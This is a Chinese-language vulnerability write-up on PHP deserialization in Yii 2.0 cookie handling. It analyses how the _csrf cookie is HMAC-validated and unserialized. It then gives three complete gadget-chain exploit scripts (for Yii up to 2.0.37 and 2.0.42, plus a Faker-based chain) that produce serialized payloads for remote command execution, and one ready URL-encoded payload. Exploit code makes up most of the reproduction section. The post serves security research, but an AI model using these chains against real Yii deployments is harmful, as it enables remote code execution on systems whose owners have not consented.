1. 原理分析

起初是发现yii2.0框架的Cookie内竟然包含php序列化字符串,于是本地搭建环境,并进行源码分析和复现实验。

image-20240730105245691

image-20240730105309327

把上面_csrf内容拆成两部分,即一个64bit的字符串和php序列化字符串

1
2
3
4
5
6
7
# 对下面的序列化字符串hmac_sha256的加密结果
8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68

# a:2表示是数组类型,且长度为2
# 花括号内的i:0;s:5:"_csrf"; i表示索引,s表示长度,后面表示值
# 反序列化后 ["_csrf", "lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe"]
a:2:{i:0;s:5:"_csrf";i:1;s:32:"lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe";}

既然有序列化,那肯定有反序列化,找到了web/Request.php文件的loadCookies函数,部分代码如下图所示,确实是会将Cookie内的序列化字符串取出来,进行反序列化。

image-20240730112731478

首先会有两个前置条件:

  • 判断是否开启Cookie校验,默认是开启的;
  • 判断cookieValidationKey是否为空,也就是hmac_sha256加密的所需要的密钥;
1
2
if ($this->enableCookieValidation) {
if ($this->cookieValidationKey == '') {

都符合条件后,会遍历Cookie的所有变量,如最上面的图的Cookie,则遍历出来的数据分别如下所示:

1
2
$name => "PHPSESSID"   $value => "xxxxx"
$name => "_csrf" $value => "8ec3dd9f09fa0f7ba2c616c5bd747769af799b8cf4f9aec0ab49cf4bb5aefd68a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22lIq-Z4-Z69EZ4sVtPWI4Usy167yDwjbe%22%3B%7D"

而循环内的第一个关键判断代码如下

1
2
3
4
5
# 校验当前Cookie内某个变量的值是符合某种特定格式,符合则返回序列化字符串,否则返回false
$data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
if ($data === false) {
continue;
}

进入validateData函数继续进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function validateData($data, $key, $rawHash = false)
{
// 先对空白字符进行hmac加密,yii默认是sha256(即$this->macHash的值为sha256)
// 其目的一是为了获取当前hmac加密后的字符串长度
$test = @hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength = StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >= $hashLength) {
// 从Cookie变量值里分割出hmac_sha256加密后的结果,这里称作identify
$hash = StringHelper::byteSubstr($data, 0, $hashLength);
// 从Cookie变量值里分割出序列化字符串
$pureData = StringHelper::byteSubstr($data, $hashLength, null);
// 计算序列化字符串的hmac_sha256结果
$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);
// 并判断计算出的结果和identify是否一致,一致则返回序列化字符串
if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}
return false;
}

所以如果我们要构造恶意的序列化字符串,那么前面的identify一定要是恶意序列化字符串进行hmac_sha256的加密结果。继续分析loadCookie函数:

1
2
3
4
5
if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
$data = unserialize($data, ['allowed_classes' => false]);
} else {
$data = unserialize($data);
}

unserialize()函数的官方文档如下所示,故如果php版本大于7,则不能实例化类从而无法触发各种魔法函数达到我们想要的目的。

为什么php5的版本不加这个选项?因为不支持,所以只有php版本为5的时候,才能利用这个漏洞。

image-20240730143844658

为了方便测试,我把限制去除掉,即将代码改为

1
2
3
4
5
6
7
if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
$data = unserialize($data);
// 查看反序列化后的结果结构
var_dump($data);
} else {
$data = unserialize($data);
}

为了方便查看输出内容,我新建了一个路由为test/test2的空白页面

image-20240730150458754

总结:想要完成漏洞利用,需要具备以下几个前置条件:

  • php版本不高于7;
  • 获取到hmac加密的密钥;
  • 找到可用的反序列化链;

2. 漏洞复现

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'phpinfo';
$this->id = '1'; //命令执行
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{

use Faker\Generator;

class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{

use yii\db\BatchQueryResult;

echo urlencode(serialize(new BatchQueryResult()));
}

将上述恶意代码序列化成字符串,并计算其hmac最后一起坪街道_csrf变量值内,如下图,成功显示phpinfo页面

image-20240730151427331

也可以使用该代码执行系统命令(无回显)

image-20240730152127866

exp2

yii <= 2.0.37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'calc';
}
}
}
namespace yii\db{

use yii\web\DbSession;

class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace yii\web{

use yii\rest\IndexAction;

class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}

namespace{

use yii\db\BatchQueryResult;

echo urlencode(serialize(new BatchQueryResult()));
}

image-20240730152544176

exp3

yii <= 2.0.42

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

namespace Faker;
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}

class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 1;
}
}

namespace Codeception\Extension;
use Faker\ValidGenerator;
class RunProcess{
private $processes = [];
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}

$exp = new RunProcess('system','calc');
echo(urlencode(serialize($exp)));



//O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A1%3A%7Bs%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A20%3A%22Faker%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A4%3A%22calc%22%3B%7Ds%3A12%3A%22%00%2A%00validator%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A99999999%3B%7D%7D%7D

image-20240730153649249

PS. 不知道是谁这么使坏,把maxRetries设置成9999,复现的时候疯狂弹计算器